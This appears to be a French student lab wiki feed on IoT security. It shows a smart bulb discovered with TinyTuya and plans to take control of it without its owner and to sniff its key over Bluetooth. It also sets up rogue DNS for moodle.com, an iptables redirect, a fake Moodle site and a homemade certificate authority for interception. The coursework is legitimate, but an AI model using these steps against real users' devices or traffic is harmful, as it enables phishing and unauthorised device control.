                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;temperature&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;h&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 360,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;s&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;v&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        }&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;26&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;countdown_1&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;unit&amp;quot;: &amp;quot;s&amp;quot;,&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 86400,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;28&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;control_data&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Json&amp;quot;,&lt;br /&gt;
                &amp;quot;raw_values&amp;quot;: &amp;quot;{\&amp;quot;change_mode\&amp;quot;:{\&amp;quot;range\&amp;quot;:[\&amp;quot;direct\&amp;quot;,\&amp;quot;gradient\&amp;quot;]}, \&amp;quot;bright\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}, \&amp;quot;temperature\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}, \&amp;quot;h\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:360,\&amp;quot;step\&amp;quot;:1},\&amp;quot;s\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:255,\&amp;quot;step\&amp;quot;:1},\&amp;quot;v\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:255,\&amp;quot;step\&amp;quot;:1}}&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;change_mode&amp;quot;: {&lt;br /&gt;
                        &amp;quot;range&amp;quot;: [&lt;br /&gt;
                            &amp;quot;direct&amp;quot;,&lt;br /&gt;
                            &amp;quot;gradient&amp;quot;&lt;br /&gt;
                        ]&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;bright&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;temperature&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;h&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 360,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;s&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 255,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;v&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 255,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;30&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;rhythm_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;31&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;sleep_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;32&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;wakeup_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;41&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;remote_switch&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Boolean&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving list to devices.json&lt;br /&gt;
    1 registered devices saved&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving raw TuyaPlatform response to tuya-raw.json&lt;br /&gt;
&lt;br /&gt;
Poll local devices? (Y/n): &lt;br /&gt;
&lt;br /&gt;
Scanning local network for Tuya devices...&lt;br /&gt;
    1 local devices discovered                         &lt;br /&gt;
&lt;br /&gt;
Polling local devices...&lt;br /&gt;
    [Ampoule Connectée        ] 172.16.10.108      - [On]  - DPS: {'20': True, '21': 'white', '22': 1000, '23': 1000, '25': '000e0d0000000000000000c80000', '26': 0, '41': True}&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving device snapshot data to snapshot.json&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving IP addresses to devices.json&lt;br /&gt;
    1 device IP addresses found&lt;br /&gt;
&lt;br /&gt;
Done.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant que l'on sait que l'ampoule est adressable via TinyTuya, il serait intéressant de récupérer uniquement la clé et de retenter de créer un serveur python sur le réseau local qui contrôle l'ampoule sans que l'utilisateur de l'ampoule ne l'ait voulu.&lt;br /&gt;
&lt;br /&gt;
Ensuite, il faudrait trouver une méthode pour récupérer la clé sans TinyTuya, car si l'on reste dans une idée de &amp;quot;hack&amp;quot;, la configuration de TinyTuya nécessite d'avoir accès au compte Tuya de la personne que l'on souhaite hacker.&lt;br /&gt;
&lt;br /&gt;
Une possibilité est d'écouter la communication Bluetooth entre le téléphone de l'utilisateur et son ampoule lors de la première configuration. Il est probable que ce soit à ce moment que la clé permettant d'accéder au serveur est communiquée.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11318</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11318"/>
		<updated>2026-01-24T08:54:45Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Première tentative */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi et  sécurisation WiFi par WPA2-PSK (29/09) =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sur le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommée CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
